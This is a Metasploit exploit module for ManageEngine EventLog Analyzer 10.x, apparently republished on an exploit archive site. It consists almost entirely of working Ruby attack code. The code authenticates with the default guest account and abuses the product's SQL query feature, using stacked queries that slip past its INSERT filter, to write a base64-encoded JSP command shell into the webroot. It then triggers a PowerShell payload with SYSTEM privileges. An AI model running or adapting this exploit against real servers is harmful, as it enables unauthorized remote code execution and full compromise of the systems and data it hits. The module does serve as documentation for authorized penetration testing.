ManageEngine EventLog Analyzer Remote Code Execution
Posted on 29 September 2015
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::Powershell def initialize(info={}) super(update_info(info, 'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution', 'Description' => %q{ This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6 build 10060 and previous versions. Every authenticated user, including the default "guest" account can execute SQL queries directly on the underlying Postgres database server. The queries are executed as the "postgres" user which has full privileges and thus is able to write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM privileges on the web server. This module has been tested successfully on ManageEngine EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module ], 'References' => [ ['EDB', '38173'] ], 'Platform' => ['win'], 'Arch' => ARCH_X86, 'Targets' => [ ['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}] ], 'Privileged' => true, 'DisclosureDate' => 'Jul 11 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8400), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]) ], self.class) end def uri target_uri.path end def check # Check version vprint_status("#{peer} - Trying to detect ManageEngine EventLog Analyzer") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'event', 'index3.do') }) if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def sql_query(cookies, query) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'event', 'runQuery.do'), 'cookie' => cookies, 'vars_post' => { 'execute' => 'true', 'query' => query, } }) unless res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!") end res end def generate_jsp_payload(cmd) decoder = rand_text_alpha(4 + rand(32 - 4)) decoded_bytes = rand_text_alpha(4 + rand(32 - 4)) cmd_array = rand_text_alpha(4 + rand(32 - 4)) jsp_code = '<%' jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder(); " jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer("#{Rex::Text.encode_base64(cmd)}"); " jsp_code << "String [] #{cmd_array} = new String[3]; " jsp_code << "#{cmd_array}[0] = "cmd.exe"; " jsp_code << "#{cmd_array}[1] = "/c"; " jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, "UTF-8"); " jsp_code << "Runtime.getRuntime().exec(#{cmd_array}); " jsp_code << '%>' jsp_code end def exploit print_status("#{peer} - Retrieving JSESSION ID") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'event', 'index3.do'), }) if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(w+);/ jsessionid = $1 print_status("#{peer} - JSESSION ID Retrieved [ #{jsessionid} ]") else fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!") end print_status("#{peer} - Access login page") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"), 'vars_post' => { 'forChecking' => 'null', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'domains' => "Local Authentication ", 'loginButton' => 'Login', 'optionValue' => 'hide' } }) if res && res.code == 302 redirect = URI(res.headers['Location']) print_status("#{peer} - Location is [ #{redirect} ]") else fail_with(Failure::Unknown, "#{peer} - Access to login page failed!") end # Follow redirection process print_status("#{peer} - Following redirection") res = send_request_cgi({ 'uri' => "#{redirect}", 'method' => 'GET' }) if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/ cookies = res.get_cookies print_status("#{peer} - Logged in, new cookies retrieved [#{cookies}]") else fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!") end jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp' cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first) jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/ /, '') print_status("#{peer} - Executing SQL queries") # Remove large object in database, just in case it exists from previous exploit attempts sql = 'SELECT lo_unlink(-1)' result = sql_query(cookies, sql) # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks. sql = 'SELECT lo_create(-1)' result = sql_query(cookies, sql) if result.body =~ /menuItemRow">([0-9]+)/ loid = $1 else fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!") end select_random = rand_text_numeric(2 + rand(6 - 2)) # Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc. sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--" result = sql_query(cookies, sql) # Export our large object id data into a WAR file sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');" sql_query(cookies, sql) # Remove our large object in the database sql = 'SELECT lo_unlink(-1)' result = sql_query(cookies, sql) register_file_for_cleanup("..\webapps\event\#{jsp_name}") print_status("#{peer} - Executing JSP payload") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, jsp_name), }) # If the server returns 200 we assume we uploaded and executed the payload file successfully unless res && res.code == 200 print_status("#{res.code} #{res.body}") fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!") end end end